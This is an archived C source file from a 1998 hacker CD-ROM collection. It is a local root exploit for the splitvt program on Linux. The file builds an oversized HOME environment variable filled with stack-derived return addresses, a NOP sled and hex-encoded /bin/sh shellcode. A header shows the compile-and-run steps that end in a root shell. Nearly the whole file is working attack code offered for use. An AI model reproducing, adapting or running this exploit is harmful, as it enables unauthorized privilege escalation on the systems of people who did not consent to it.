home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_sp.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  844 b   |  54 lines

  1.  
  2. syntax:
  3.  
  4. %cc -o sl sl.c
  5. %sl
  6. bash#sl
  7. bash#splitvt
  8. #whoami
  9. root
  10. --------------------------------
  11. long get_esp(void)
  12. {
  13. __asm__("movl %esp,%eax\n");
  14. }
  15. main()
  16. {
  17.   char eggplant[2048];
  18.   int a;
  19.   char *egg;
  20.   long *egg2;
  21.   char realegg[] =
  22. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  23. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  24. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  25.   char *eggie = realegg;
  26.  
  27.   egg = eggplant;
  28.  
  29.   *(egg++) = 'H';
  30.   *(egg++) = 'O';
  31.   *(egg++) = 'M';
  32.   *(egg++) = 'E';
  33.   *(egg++) = '=';
  34.  
  35.   egg2 = (long *)egg;
  36.  
  37.   for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
  38.  
  39.   egg=(char *)egg2;
  40.  
  41.   for (a=0;a<0x40;a++) *(egg++) = 0x90;
  42.  
  43.   while (*eggie)
  44.     *(egg++) = *(eggie++);
  45.   *egg = 0; /* terminate eggplant! */
  46.  
  47.   putenv(eggplant);
  48.  
  49.   system("/bin/bash");
  50. }
  51.  
  52.  
  53.  
  54.